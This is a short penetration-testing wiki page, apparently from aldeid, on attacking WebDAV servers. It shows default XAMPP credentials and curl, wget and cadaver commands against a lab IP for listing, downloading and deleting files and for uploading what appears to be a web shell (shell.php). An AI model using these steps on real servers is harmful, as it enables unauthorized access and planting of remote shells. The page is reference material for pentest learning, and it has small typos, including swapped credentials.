Category:Penetration-testing/webdav

From aldeid
Jump to navigation Jump to search

What is Webdav?

Web Distributed Authoring and Versioning (WebDAV) is an extension of the Hypertext Transfer Protocol (HTTP) that allows clients to perform remote Web content authoring operations. WebDAV is defined in RFC 4918 by a working group of the Internet Engineering Task Force.

Authentication

If the webdav directory requires an authentication, provided it has been install with XAMPP, try with:

  • username: "xampp"
  • pasword: "wampp"

Operations

List files

You can list files using the browser (e.g. http://10.10.19.245/webdav/) or using curl:

$ curl -s u "wampp:xampp" http://10.10.19.245/webdav/

You can also use cadaver:

$ cadaver http://10.10.19.245/webdav
Authentication required for webdav on server `10.10.19.245':
Username: wampp
Password: xampp
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        nc.php                                 0  Jun 24 22:43
        passwd.dav                            44  Aug 26  2019
        shell.php                           5491  Jun 24 22:47

Download files

Download files using the browser or using wget:

$ wget --http-user="wampp" --http-password="xampp" http://10.10.19.245/webdav/passwd.dav

Remove files

Use cadaver:

$ cadaver http://10.10.19.245/webdav
Authentication required for webdav on server `10.10.19.245':
Username: wampp
Password: xampp
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        nc.php                                 0  Jun 24 22:43
        passwd.dav                            44  Aug 26  2019
        shell.php                           5491  Jun 24 22:47
dav:/webdav/> rm nc.php
Deleting `nc.php': succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        passwd.dav                            44  Aug 26  2019
        shell.php                           5491  Jun 24 22:47
dav:/webdav/>

Put files

To test if the server allows to put files, you can use curl as follows:

$ curl -u "wampp:xampp" -X PUT http://10.10.19.245/webdav/test

If a file is created, you can upload files. Use cadaver:

$ cadaver http://10.10.19.245/webdav
Authentication required for webdav on server `10.10.19.245':
Username: wampp
Password: xampp
dav:/webdav/> put shell.php
Uploading shell.php to `/webdav/shell.php':
Progress: [=============================>] 100.0% of 5491 bytes succeeded.
dav:/webdav/> quit
Connection to `10.10.19.245' closed.

Pages in category "Penetration-testing/webdav"

The following 2 pages are in this category, out of 2 total.